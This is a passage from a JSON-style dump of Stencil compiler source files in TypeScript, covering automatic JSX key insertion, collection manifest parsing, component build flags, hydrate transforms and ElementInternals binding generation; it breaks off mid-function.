    "content": "import ts from 'typescript';\n\nimport { getComponentTagName, isStaticGetter } from '../transform-utils';\nimport { deriveJSXKey } from './utils';\n\n/**\n * A transformer factory to create a transformer which will add `key`\n * properties to all of the JSX nodes contained inside of a Stencil component's\n * `render` function.\n *\n * This can be thought of as transforming the following:\n *\n * ```tsx\n * class MyComponent {\n *   render() {\n *     <div>hey!</div>\n *   }\n * }\n * ```\n *\n * to this:\n *\n * ```tsx\n * class MyComponent {\n *   render() {\n *     <div key=\"a-unique-key\">hey!</div>\n *   }\n * }\n * ```\n *\n * The inserted keys are generated by {@link deriveJSXKey}.\n *\n * **Note**: this transformer must be run _after_ the\n * `convertDecoratorsToStatic` transformer, since it depends on static getters\n * created by that transformer to determine when to transform a class node.\n *\n * @param transformCtx a transformation context\n * @returns a typescript transformer for inserting keys into JSX nodes\n */\nexport const performAutomaticKeyInsertion = (transformCtx: ts.TransformationContext): ts.Transformer<ts.SourceFile> => {\n  /**\n   * This is our outer-most visitor function which serves to locate a class\n   * declaration which is also a Stencil component, at which point it hands\n   * things over to the next visitor function ({@link findRenderMethodVisitor})\n   * which locates the `render` method.\n   *\n   * @param node a typescript syntax tree node\n   * @returns the result of handling the node\n   */\n  function findClassDeclVisitor(node: ts.Node): ts.VisitResult<ts.Node> {\n    if (ts.isClassDeclaration(node)) {\n      const tagName = getComponentTagName(node.members.filter(isStaticGetter));\n      if (tagName != null) {\n        // we've got a class node with an `is` property, which tells us that\n        // the class we're dealing with is a Stencil component which has\n        // already been through the `convertDecoratorsToStatic` transformer.\n        return ts.visitEachChild(node, findRenderMethodVisitor, transformCtx);\n      }\n    }\n    // we either didn't find a class node, or we found a class node without a\n    // component tag name, so this is not a stencil component!\n    return ts.visitEachChild(node, findClassDeclVisitor, transformCtx);\n  }\n\n  /**\n   * This middle visitor function is responsible for finding the render method\n   * on a Stencil class and then passing off responsibility to the inner-most\n   * visitor, which deals with syntax nodes inside the method.\n   *\n   * @param node a typescript syntax tree node\n   * @returns the result of handling the node\n   */\n  function findRenderMethodVisitor(node: ts.Node): ts.VisitResult<ts.Node> {\n    // we want to keep going (to drill down into JSX nodes and transform them)\n    // only in particular circumstances:\n    //\n    // 1. the syntax tree node is a method declaration\n    // 2. this method's name is 'render'\n    // 3. the method only has a single return statement\n    //\n    // We want to only keep going if there's a single return statement because\n    // if there are multiple return statements inserting keys could cause\n    // needless re-renders. If a `render` method looked like this, for\n    // instance:\n    //\n    // ```tsx\n    // render() {\n    //   if (foo) {\n    //     return <div>hey!</div>;\n    //   } else {\n    //     return <div>hay!</div>;\n    //   }\n    // }\n    // ```\n    //\n    // Since the `<div>` tags don't have `key` attributes the Stencil vdom will\n    // re-use the same div element between re-renders, and will just swap out\n    // the children (the text nodes in this case). If our key insertion\n    // transformer put unique keys onto each tag then this wouldn't happen any\n    // longer.\n    if (ts.isMethodDeclaration(node) && node.name.getText() === 'render' && numReturnStatements(node) === 1) {\n      return ts.visitEachChild(node, jsxElementVisitor, transformCtx);\n    } else {\n      return ts.visitEachChild(node, findRenderMethodVisitor, transformCtx);\n    }\n  }\n\n  /**\n   * Our inner-most visitor function. This will edit any JSX nodes that it\n   * finds, adding a `key` attribute to them via {@link addKeyAttr}.\n   *\n   * @param node a typescript syntax tree node\n   * @returns the result of handling the node\n   */\n  function jsxElementVisitor(node: ts.Node): ts.VisitResult<ts.Node> {\n    if (ts.isCallExpression(node)) {\n      // if there are any JSX nodes which are children of the call expression\n      // (i.e. arguments) we don't want to transform them since we can't know\n      // _a priori_ what could be done with them at runtime\n      return node;\n    } else if (ts.isConditionalExpression(node)) {\n      // we're going to encounter the same problem here that we encounter with\n      // multiple return statements, so we just return the node and don't recur into\n      // its children\n      return node;\n    } else if (isJSXElWithAttrs(node)) {\n      return addKeyAttr(node);\n    } else {\n      return ts.visitEachChild(node, jsxElementVisitor, transformCtx);\n    }\n  }\n\n  return (tsSourceFile) => {\n    return ts.visitEachChild(tsSourceFile, findClassDeclVisitor, transformCtx);\n  };\n};\n\n/**\n * Count the number of return statements in a {@link ts.MethodDeclaration}\n *\n * @param method the node within which we're going to count `return` statements\n * @returns the number of return statements found\n */\nfunction numReturnStatements(method: ts.MethodDeclaration): number {\n  let count = 0;\n\n  function walker(node: ts.Node) {\n    for (const child of node.getChildren()) {\n      if (ts.isReturnStatement(child)) {\n        count++;\n      } else {\n        walker(child);\n      }\n    }\n  }\n\n  walker(method);\n\n  return count;\n}\n\n/**\n * Type guard to see if a TypeScript syntax node is one of the node types which\n * corresponds to a JSX element that can have attributes on it. This is either\n * an opening node, like `<div attr=\"hey\">`, or a 'self-closing' node like\n * `<i class=\"best\" />`.\n *\n * @param node a typescript syntax tree node\n * @returns whether or not the node is JSX node which could have attributes\n */\nfunction isJSXElWithAttrs(node: ts.Node): node is ts.JsxOpeningElement | ts.JsxSelfClosingElement {\n  return ts.isJsxOpeningElement(node) || ts.isJsxSelfClosingElement(node);\n}\n\n/**\n * Given a JSX syntax tree node update it to include a unique key attribute.\n * This will respect any attributes already set on the node, including a\n * pre-existing, user-defined `key` attribute.\n *\n * @param jsxElement a typescript JSX syntax tree node\n * @returns an updated JSX element, with a key added.\n */\nfunction addKeyAttr(\n  jsxElement: ts.JsxOpeningElement | ts.JsxSelfClosingElement,\n): ts.JsxOpeningElement | ts.JsxSelfClosingElement {\n  if (jsxElement.attributes.properties.some(isKeyAttr)) {\n    // this node already has a key! let's get out of here\n    return jsxElement;\n  }\n\n  const updatedAttributes = ts.factory.createJsxAttributes([\n    ts.factory.createJsxAttribute(\n      ts.factory.createIdentifier('key'),\n      ts.factory.createStringLiteral(deriveJSXKey(jsxElement)),\n    ),\n    ...jsxElement.attributes.properties,\n  ]);\n\n  if (ts.isJsxOpeningElement(jsxElement)) {\n    return ts.factory.updateJsxOpeningElement(\n      jsxElement,\n      jsxElement.tagName,\n      jsxElement.typeArguments,\n      updatedAttributes,\n    );\n  } else {\n    return ts.factory.updateJsxSelfClosingElement(\n      jsxElement,\n      jsxElement.tagName,\n      jsxElement.typeArguments,\n      updatedAttributes,\n    );\n  }\n}\n\n/**\n * Check whether or not a JSX attribute node (well, technically a\n * {@link ts.JsxAttributeLike} node) has the name `\"key\"` or not\n *\n * @param attr the JSX attribute node to check\n * @returns whether or not this node has the name 'key'\n */\nfunction isKeyAttr(attr: ts.JsxAttributeLike): boolean {\n  return !!attr.name && attrNameToString(attr) === 'key';\n}\n\n/**\n * Given a JSX attribute get its name as a string\n *\n * @param attr the attribute of interest\n * @returns the attribute's name, formatted as a string\n */\nfunction attrNameToString(attr: ts.JsxAttributeLike): string {\n  switch (attr.name?.kind) {\n    case ts.SyntaxKind.Identifier:\n    case ts.SyntaxKind.PrivateIdentifier:\n    case ts.SyntaxKind.StringLiteral:\n    case ts.SyntaxKind.NumericLiteral:\n      return attr.name.text;\n    case ts.SyntaxKind.JsxNamespacedName:\n      // this is a JSX attribute name like `foo:bar`\n      // see https://facebook.github.io/jsx/#prod-JSXNamespacedName\n      return attr.name.getText();\n    case ts.SyntaxKind.ComputedPropertyName:\n      const expression = attr.name.expression;\n      if (ts.isStringLiteral(expression) || ts.isNumericLiteral(expression)) {\n        return expression.text;\n      }\n      return '';\n    default:\n      return '';\n  }\n}\n"
  },
  {
    "path": "src/compiler/transformers/automatic-key-insertion/utils.ts",
    "content": "import { createHash } from 'crypto';\nimport ts from 'typescript';\n\n/**\n * An incrementing-number generator, just as a little extra 'uniqueness'\n * insurance for {@link deriveJSXKey}\n */\nconst incrementer = (function* () {\n  let val = 0;\n  while (true) {\n    yield val++;\n  }\n})();\n\n/**\n * Generate a unique key for a given JSX element. The key is creating by\n * concatenating and then hashing (w/ SHA1) the following:\n *\n * - an incrementing value\n * - the element's tag name\n * - the start position for the element's token in the original source file\n * - the end position for the element's token in the original source file\n *\n * It is hoped this provides enough uniqueness that a collision won't occur.\n *\n * @param jsxElement a typescript JSX syntax tree node which needs a key\n * @returns a computed unique key for that element\n */\nexport function deriveJSXKey(jsxElement: ts.JsxOpeningElement | ts.JsxSelfClosingElement): string {\n  const hash = createHash('sha1')\n    .update(`${incrementer.next().value}__${jsxElement.tagName}__${jsxElement.pos}_${jsxElement.end}`)\n    .digest('hex')\n    .toLowerCase();\n  return hash;\n}\n"
  },
  {
    "path": "src/compiler/transformers/collections/add-external-import.ts",
    "content": "import { isString, normalizePath, parsePackageJson } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { tsResolveModuleNamePackageJsonPath } from '../../sys/typescript/typescript-resolve-module';\nimport { parseCollection } from './parse-collection-module';\n\nexport const addExternalImport = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  moduleFile: d.Module,\n  containingFile: string,\n  moduleId: string,\n  resolveCollections: boolean,\n) => {\n  if (!moduleFile.externalImports.includes(moduleId)) {\n    moduleFile.externalImports.push(moduleId);\n    moduleFile.externalImports.sort();\n  }\n\n  if (!resolveCollections || compilerCtx.resolvedCollections.has(moduleId)) {\n    // we've already handled this collection moduleId before\n    return;\n  }\n\n  let pkgJsonFilePath = tsResolveModuleNamePackageJsonPath(config, compilerCtx, moduleId, containingFile);\n\n  // cache that we've already parsed this\n  compilerCtx.resolvedCollections.add(moduleId);\n\n  if (pkgJsonFilePath == null) {\n    return;\n  }\n\n  const realPkgJsonFilePath = config.sys.realpathSync(pkgJsonFilePath);\n  if (realPkgJsonFilePath.path) {\n    pkgJsonFilePath = realPkgJsonFilePath.path;\n  }\n\n  // realpathSync may return a path that uses Windows path separators ('\\').\n  // normalize it for the purposes of this comparison\n  if (normalizePath(pkgJsonFilePath) === config.packageJsonFilePath) {\n    // same package silly!\n    return;\n  }\n\n  // open up and parse the package.json\n  // sync on purpose :(\n  const pkgJsonStr = compilerCtx.fs.readFileSync(pkgJsonFilePath);\n  if (pkgJsonStr == null) {\n    return;\n  }\n  const parsedPkgJson = parsePackageJson(pkgJsonStr, pkgJsonFilePath);\n  if (parsedPkgJson.diagnostic) {\n    buildCtx.diagnostics.push(parsedPkgJson.diagnostic);\n    return;\n  }\n\n  if (!isString(parsedPkgJson.data.collection) || !parsedPkgJson.data.collection.endsWith('.json')) {\n    // this import is not a stencil collection\n    return;\n  }\n\n  if (!isString(parsedPkgJson.data.types) || !parsedPkgJson.data.types.endsWith('.d.ts')) {\n    // this import should have types\n    return;\n  }\n\n  // this import is a stencil collection\n  // let's parse it and gather all the module data about it\n  // internally it'll cached collection data if we've already done this\n  const collection = parseCollection(\n    config,\n    compilerCtx,\n    buildCtx,\n    moduleId,\n    parsedPkgJson.filePath,\n    parsedPkgJson.data,\n  );\n  if (!collection) {\n    return;\n  }\n\n  // check if we already added this collection to the build context\n  const alreadyHasCollection = buildCtx.collections.some((c) => {\n    return c.collectionName === collection.collectionName;\n  });\n\n  if (alreadyHasCollection) {\n    // we already have this collection in our build context\n    return;\n  }\n\n  // let's add the collection to the build context\n  buildCtx.collections.push(collection);\n\n  if (Array.isArray(collection.dependencies)) {\n    // this collection has more collections\n    // let's keep digging down and discover all of them\n    collection.dependencies.forEach((dependencyModuleId) => {\n      const resolveFromDir = dirname(pkgJsonFilePath);\n      addExternalImport(\n        config,\n        compilerCtx,\n        buildCtx,\n        moduleFile,\n        resolveFromDir,\n        dependencyModuleId,\n        resolveCollections,\n      );\n    });\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/collections/parse-collection-components.ts",
    "content": "import { join } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { updateModule } from '../static-to-meta/parse-static';\n\nexport const parseCollectionComponents = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  collectionDir: string,\n  collectionManifest: d.CollectionManifest,\n  collection: d.CollectionCompilerMeta,\n) => {\n  // Load mixin/abstract class entries (classes that can be extended by consuming projects)\n  if (collectionManifest.mixins) {\n    collectionManifest.mixins.forEach((mixinPath) => {\n      const fullPath = join(collectionDir, mixinPath);\n      transpileCollectionModule(config, compilerCtx, buildCtx, collection, fullPath);\n    });\n  }\n\n  // Load component entries\n  if (collectionManifest.entries) {\n    collectionManifest.entries.forEach((entryPath) => {\n      const componentPath = join(collectionDir, entryPath);\n      transpileCollectionModule(config, compilerCtx, buildCtx, collection, componentPath);\n    });\n  }\n};\n\nexport const transpileCollectionModule = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  collection: d.CollectionCompilerMeta,\n  inputFileName: string,\n) => {\n  const sourceText = compilerCtx.fs.readFileSync(inputFileName);\n  const sourceFile = ts.createSourceFile(inputFileName, sourceText, ts.ScriptTarget.ES2017, true, ts.ScriptKind.JS);\n  return updateModule(config, compilerCtx, buildCtx, sourceFile, sourceText, inputFileName, undefined, collection);\n};\n"
  },
  {
    "path": "src/compiler/transformers/collections/parse-collection-manifest.ts",
    "content": "import { join, normalizePath } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { parseCollectionComponents, transpileCollectionModule } from './parse-collection-components';\n\nexport const parseCollectionManifest = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  collectionName: string,\n  collectionDir: string,\n  collectionJsonStr: string,\n) => {\n  const collectionManifest: d.CollectionManifest = JSON.parse(collectionJsonStr);\n\n  const compilerVersion: d.CollectionCompilerVersion = collectionManifest.compiler || ({} as any);\n\n  const collection: d.CollectionCompilerMeta = {\n    collectionName: collectionName,\n    moduleId: collectionName,\n    moduleDir: collectionDir,\n    moduleFiles: [],\n    dependencies: parseCollectionDependencies(collectionManifest),\n    compiler: {\n      name: compilerVersion.name || '',\n      version: compilerVersion.version || '',\n      typescriptVersion: compilerVersion.typescriptVersion || '',\n    },\n    bundles: parseBundles(collectionManifest),\n  };\n\n  parseGlobal(config, compilerCtx, buildCtx, collectionDir, collectionManifest, collection);\n  parseCollectionComponents(config, compilerCtx, buildCtx, collectionDir, collectionManifest, collection);\n\n  return collection;\n};\n\nexport const parseCollectionDependencies = (collectionManifest: d.CollectionManifest) => {\n  return (collectionManifest.collections || []).map((c) => c.name);\n};\n\nexport const parseGlobal = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  collectionDir: string,\n  collectionManifest: d.CollectionManifest,\n  collection: d.CollectionCompilerMeta,\n) => {\n  if (typeof collectionManifest.global !== 'string') {\n    return;\n  }\n\n  const sourceFilePath = normalizePath(join(collectionDir, collectionManifest.global));\n  const globalModule = transpileCollectionModule(config, compilerCtx, buildCtx, collection, sourceFilePath);\n  collection.global = globalModule;\n};\n\nexport const parseBundles = (collectionManifest: d.CollectionManifest) => {\n  if (invalidArrayData(collectionManifest.bundles)) {\n    return [];\n  }\n\n  return collectionManifest.bundles.map((b) => {\n    return {\n      components: b.components.slice().sort(),\n    };\n  });\n};\n\nconst invalidArrayData = (arr: any[]) => {\n  return !arr || !Array.isArray(arr) || arr.length === 0;\n};\n"
  },
  {
    "path": "src/compiler/transformers/collections/parse-collection-module.ts",
    "content": "import { join, normalizePath, relative } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { parseCollectionManifest } from './parse-collection-manifest';\n\nexport const parseCollection = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  moduleId: string,\n  pkgJsonFilePath: string,\n  pkgData: d.PackageJsonData,\n) => {\n  // note this MUST be synchronous because this is used during transpile\n  const collectionName = pkgData.name;\n\n  let collection: d.CollectionCompilerMeta = compilerCtx.collections.find((c) => c.collectionName === collectionName);\n  if (collection != null) {\n    // we've already cached the collection, no need for another resolve/readFile/parse\n    // thought being that /node_modules/ isn't changing between watch builds\n    return collection;\n  }\n\n  // get the root directory of the dependency\n  const collectionPackageRootDir = dirname(pkgJsonFilePath);\n\n  // figure out the full path to the collection collection file\n  const collectionFilePath = join(collectionPackageRootDir, pkgData.collection);\n\n  const relPath = relative(config.rootDir, collectionFilePath);\n  config.logger.debug(`load collection: ${collectionName}, ${relPath}`);\n\n  // we haven't cached the collection yet, let's read this file\n  // sync on purpose :(\n  const collectionJsonStr = compilerCtx.fs.readFileSync(collectionFilePath);\n  if (!collectionJsonStr) {\n    return null;\n  }\n\n  // get the directory where the collection collection file is sitting\n  const collectionDir = normalizePath(dirname(collectionFilePath));\n\n  // parse the json string into our collection data\n  collection = parseCollectionManifest(config, compilerCtx, buildCtx, collectionName, collectionDir, collectionJsonStr);\n\n  collection.moduleId = moduleId;\n\n  if (pkgData.module && pkgData.module !== pkgData.main) {\n    collection.hasExports = true;\n  }\n\n  // remember the source of this collection node_module\n  collection.moduleDir = collectionPackageRootDir;\n\n  // cache it for later yo\n  compilerCtx.collections.push(collection);\n\n  return collection;\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-build-conditionals.ts",
    "content": "import { DEFAULT_STYLE_MODE } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const setComponentBuildConditionals = (cmpMeta: d.ComponentCompilerMeta) => {\n  if (cmpMeta.properties.length > 0) {\n    cmpMeta.hasProp = true;\n    cmpMeta.hasPropMutable = cmpMeta.properties.some((p) => p.mutable);\n    cmpMeta.hasReflect = cmpMeta.properties.some((p) => p.reflect);\n    cmpMeta.hasAttribute = cmpMeta.properties.some((p) => typeof p.attribute === 'string');\n    cmpMeta.hasPropBoolean = cmpMeta.properties.some((p) => p.type === 'boolean');\n    cmpMeta.hasPropNumber = cmpMeta.properties.some((p) => p.type === 'number');\n    cmpMeta.hasPropString = cmpMeta.properties.some((p) => p.type === 'string');\n  }\n\n  if (cmpMeta.states.length > 0) {\n    cmpMeta.hasState = true;\n  }\n\n  if (cmpMeta.watchers.length > 0) {\n    cmpMeta.hasWatchCallback = true;\n  }\n\n  if (cmpMeta.serializers.length > 0) {\n    cmpMeta.hasSerializer = true;\n  }\n\n  if (cmpMeta.deserializers.length > 0) {\n    cmpMeta.hasDeserializer = true;\n  }\n\n  if (cmpMeta.methods.length > 0) {\n    cmpMeta.hasMethod = true;\n  }\n\n  if (cmpMeta.events.length > 0) {\n    cmpMeta.hasEvent = true;\n  }\n\n  if (cmpMeta.listeners.length > 0) {\n    cmpMeta.hasListener = true;\n    cmpMeta.hasListenerTargetWindow = cmpMeta.listeners.some((l) => l.target === 'window');\n    cmpMeta.hasListenerTargetDocument = cmpMeta.listeners.some((l) => l.target === 'document');\n    cmpMeta.hasListenerTargetBody = cmpMeta.listeners.some((l) => l.target === 'body');\n    cmpMeta.hasListenerTargetParent = cmpMeta.listeners.some((l) => l.target === ('parent' as any));\n    cmpMeta.hasListenerTarget = cmpMeta.listeners.some((l) => !!l.target);\n  }\n\n  cmpMeta.hasMember =\n    cmpMeta.hasProp || cmpMeta.hasState || cmpMeta.hasElement || cmpMeta.hasMethod || cmpMeta.formAssociated;\n\n  cmpMeta.isUpdateable = cmpMeta.hasProp || cmpMeta.hasState;\n  if (cmpMeta.styles.length > 0) {\n    cmpMeta.hasStyle = true;\n    cmpMeta.hasMode = cmpMeta.styles.some((s) => s.modeName !== DEFAULT_STYLE_MODE);\n  }\n  cmpMeta.hasLifecycle =\n    cmpMeta.hasComponentWillLoadFn ||\n    cmpMeta.hasComponentDidLoadFn ||\n    cmpMeta.hasComponentShouldUpdateFn ||\n    cmpMeta.hasComponentWillUpdateFn ||\n    cmpMeta.hasComponentDidUpdateFn ||\n    cmpMeta.hasComponentWillRenderFn ||\n    cmpMeta.hasComponentDidRenderFn;\n  cmpMeta.isPlain =\n    !cmpMeta.hasMember && !cmpMeta.hasStyle && !cmpMeta.hasLifecycle && !cmpMeta.hasListener && !cmpMeta.hasVdomRender;\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-hydrate/hydrate-component.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { updateLazyComponentConstructor } from '../component-lazy/lazy-constructor';\nimport { addLazyElementGetter } from '../component-lazy/lazy-element-getter';\nimport { transformHostData } from '../host-data-transform';\nimport { removeStaticMetaProperties } from '../remove-static-meta-properties';\nimport { retrieveModifierLike } from '../transform-utils';\nimport { addReactivePropHandlers } from '../reactive-handler-meta-transform';\nimport { addHydrateRuntimeCmpMeta } from './hydrate-runtime-cmp-meta';\n\nexport const updateHydrateComponentClass = (\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n) => {\n  return ts.factory.updateClassDeclaration(\n    classNode,\n    retrieveModifierLike(classNode),\n    classNode.name,\n    classNode.typeParameters,\n    classNode.heritageClauses,\n    updateHydrateHostComponentMembers(classNode, moduleFile, cmp, buildCtx),\n  );\n};\n\nconst updateHydrateHostComponentMembers = (\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n) => {\n  const classMembers = removeStaticMetaProperties(classNode);\n\n  updateLazyComponentConstructor(classMembers, classNode, moduleFile, cmp);\n  addLazyElementGetter(classMembers, moduleFile, cmp);\n  addReactivePropHandlers(classMembers, cmp, 'watchers');\n  addReactivePropHandlers(classMembers, cmp, 'serializers');\n  addReactivePropHandlers(classMembers, cmp, 'deserializers');\n  addHydrateRuntimeCmpMeta(classMembers, cmp, buildCtx);\n  transformHostData(classMembers, moduleFile);\n\n  return classMembers;\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-hydrate/hydrate-runtime-cmp-meta.ts",
    "content": "import { CMP_FLAGS, formatComponentRuntimeMeta } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addStaticStyleGetterWithinClass } from '../add-static-style';\nimport { convertValueToLiteral, createStaticGetter } from '../transform-utils';\n\nexport const addHydrateRuntimeCmpMeta = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n) => {\n  const compactMeta: d.ComponentRuntimeMetaCompact = formatComponentRuntimeMeta(cmp, true);\n  const cmpMeta: d.ComponentRuntimeMeta = {\n    $flags$: compactMeta[0],\n    $tagName$: compactMeta[1],\n    $members$: compactMeta[2],\n    $listeners$: compactMeta[3],\n    $lazyBundleId$: fakeBundleIds(cmp),\n    $attrsToReflect$: getHydrateAttrsToReflect(cmp),\n  };\n  // We always need shadow-dom shim in hydrate runtime\n  if (cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n    // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n    cmpMeta.$flags$ |= CMP_FLAGS.needsShadowDomShim;\n  }\n  const staticMember = createStaticGetter('cmpMeta', convertValueToLiteral(cmpMeta));\n  addStaticStyleGetterWithinClass(classMembers, cmp, buildCtx);\n\n  classMembers.push(staticMember);\n};\n\nconst fakeBundleIds = (_cmp: d.ComponentCompilerMeta) => {\n  return '-';\n};\n\nconst getHydrateAttrsToReflect = (cmp: d.ComponentCompilerMeta): d.ComponentRuntimeReflectingAttr[] => {\n  return cmp.properties.reduce((attrs: d.ComponentRuntimeReflectingAttr[], prop: d.ComponentCompilerProperty) => {\n    if (prop.reflect) {\n      attrs.push([prop.name, prop.attribute]);\n    }\n    return attrs;\n  }, []);\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-hydrate/tranform-to-hydrate-component.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addImports } from '../add-imports';\nimport { addLegacyApis } from '../core-runtime-apis';\nimport { updateStyleImports } from '../style-imports';\nimport { getComponentMeta, getModuleFromSourceFile, updateMixin } from '../transform-utils';\nimport { updateHydrateComponentClass } from './hydrate-component';\n\nexport const hydrateComponentTransform = (\n  compilerCtx: d.CompilerCtx,\n  transformOpts: d.TransformOptions,\n  buildCtx: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    return (tsSourceFile) => {\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n\n      const visitNode = (node: ts.Node): any => {\n        if (ts.isClassDeclaration(node)) {\n          const cmp = getComponentMeta(compilerCtx, tsSourceFile, node);\n          if (cmp != null) {\n            return updateHydrateComponentClass(node, moduleFile, cmp, buildCtx);\n          } else if (compilerCtx.moduleMap.get(tsSourceFile.fileName)?.isMixin) {\n            return updateMixin(node, moduleFile, cmp, transformOpts);\n          }\n        }\n\n        return ts.visitEachChild(node, visitNode, transformCtx);\n      };\n\n      tsSourceFile = ts.visitEachChild(tsSourceFile, visitNode, transformCtx);\n\n      if (moduleFile.cmps.length > 0) {\n        tsSourceFile = updateStyleImports(transformOpts, tsSourceFile, moduleFile);\n      }\n      if (moduleFile.isLegacy) {\n        addLegacyApis(moduleFile);\n      }\n      tsSourceFile = addImports(transformOpts, tsSourceFile, moduleFile.coreRuntimeApis, transformOpts.coreImportPath);\n\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/attach-internals.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport ts from 'typescript';\n\nimport { HOST_REF_ARG } from './constants';\n\n/**\n * Create a binding for an `ElementInternals` object compatible with a\n * lazy-load ready Stencil component.\n *\n * In order to create a lazy-loaded form-associated component we need to access\n * the underlying host element (via the \"$hostElement$\" prop on {@link d.HostRef})\n * to make the `attachInternals` call on the right element. This means that the\n * code generated by this function depends on there being a variable in scope\n * called {@link HOST_REF_ARG} with type {@link HTMLElement}.\n *\n * If an `@AttachInternals` decorator is present on a component like this:\n *\n * ```ts\n * @AttachInternals({ states: { open: true, active: false } })\n * internals: ElementInternals;\n * ```\n *\n * then this transformer will create syntax nodes which represent the\n * following TypeScript source:\n *\n * ```ts\n * if (hostRef.$hostElement$[\"s-ei\"]) {\n *   this.internals = hostRef.$hostElement$[\"s-ei\"];\n * } else {\n *   this.internals = hostRef.$hostElement$.attachInternals();\n *   hostRef.$hostElement$[\"s-ei\"] = this.internals;\n * }\n * this.internals.states.add('open');\n * // 'active' is false, so no call needed (not in set by default)\n * ```\n *\n * The `\"s-ei\"` prop on a {@link d.HostElement} may hold a reference to the\n * `ElementInternals` instance for that host. We store a reference to it\n * there in order to support HMR because `.attachInternals` may only be\n * called on an `HTMLElement` one time, so we need to store a reference to\n * the returned value across HMR updates.\n *\n * @param cmp metadata about the component of interest, gathered during compilation\n * @returns a list of expression statements\n */\nexport function createLazyAttachInternalsBinding(cmp: d.ComponentCompilerMeta): ts.Statement[] {\n  if (!cmp?.attachInternalsMemberName) {\n    return [];\n  }\n\n  const statements: ts.Statement[] = [\n    ts.factory.createIfStatement(\n      // the condition for the `if` statement here is just whether the\n      // following is defined:\n      //\n      // ```ts\n      // hostRef.$hostElement$[\"s-ei\"]\n      // ```\n      hostRefElementInternalsPropAccess(),\n      ts.factory.createBlock(\n        [\n          // this `ts.factory` call creates the following statement:\n          //\n          // ```ts\n          // this.${ cmp.formInternalsMemberName } = hostRef.$hostElement$['s-ei'];\n          // ```\n          ts.factory.createExpressionStatement(\n            ts.factory.createBinaryExpression(\n              ts.factory.createPropertyAccessExpression(\n                ts.factory.createThis(),\n                // use the name set on the {@link d.ComponentCompilerMeta}\n                ts.factory.createIdentifier(cmp.attachInternalsMemberName),\n              ),\n              ts.factory.createToken(ts.SyntaxKind.EqualsToken),\n              hostRefElementInternalsPropAccess(),\n            ),\n          ),\n        ],\n        true,\n      ),\n      ts.factory.createBlock(\n        [\n          // this `ts.factory` call creates the following statement:\n          //\n          // ```ts\n          // this.${ cmp.attachInternalsMemberName } = hostRef.$hostElement$.attachInternals();\n          // ```\n          ts.factory.createExpressionStatement(\n            ts.factory.createBinaryExpression(\n              ts.factory.createPropertyAccessExpression(\n                ts.factory.createThis(),\n                // use the name set on the {@link d.ComponentCompilerMeta}\n                ts.factory.createIdentifier(cmp.attachInternalsMemberName),\n              ),\n              ts.factory.createToken(ts.SyntaxKind.EqualsToken),\n              ts.factory.createCallExpression(\n                ts.factory.createPropertyAccessExpression(\n                  ts.factory.createPropertyAccessExpression(\n                    ts.factory.createIdentifier(HOST_REF_ARG),\n                    ts.factory.createIdentifier('$hostElement$'),\n                  ),\n                  ts.factory.createIdentifier('attachInternals'),\n                ),\n                undefined,\n                [],\n              ),\n            ),\n          ),\n          // this `ts.factory` call produces the following:\n          //\n          // ```ts\n          // hostRef.$hostElement$['s-ei'] = this.${ cmp.attachInternalsMemberName };\n          // ```\n          ts.factory.createExpressionStatement(\n            ts.factory.createBinaryExpression(\n              hostRefElementInternalsPropAccess(),\n              ts.factory.createToken(ts.SyntaxKind.EqualsToken),\n              ts.factory.createPropertyAccessExpression(\n                ts.factory.createThis(),\n                // use the name set on the {@link d.ComponentCompilerMeta}\n                ts.factory.createIdentifier(cmp.attachInternalsMemberName),\n              ),\n            ),\n          ),\n        ],\n        true,\n      ),\n    ),\n  ];\n\n  // Add custom states initialization for states with initialValue: true\n  // CustomStateSet only has add/delete/has methods (extends Set), so we only\n  // need to call add() for true values - false values are the default (not in set)\n  if (cmp.attachInternalsCustomStates?.length > 0) {\n    for (const customState of cmp.attachInternalsCustomStates) {\n      if (customState.initialValue) {\n        statements.push(createStatesAddCall(cmp.attachInternalsMemberName, customState.name));\n      }\n    }\n  }\n\n  return statements;\n}\n\n/**\n * Create a `states.add()` call for initializing a custom state.\n *\n * Generates code like:\n * ```ts\n * this.internals.states.add('stateName');\n * ```\n *\n * @param memberName the name of the ElementInternals property\n * @param stateName the name of the custom state to add\n * @returns an expression statement for the add call\n */\nfunction createStatesAddCall(memberName: string, stateName: string): ts.ExpressionStatement {\n  return 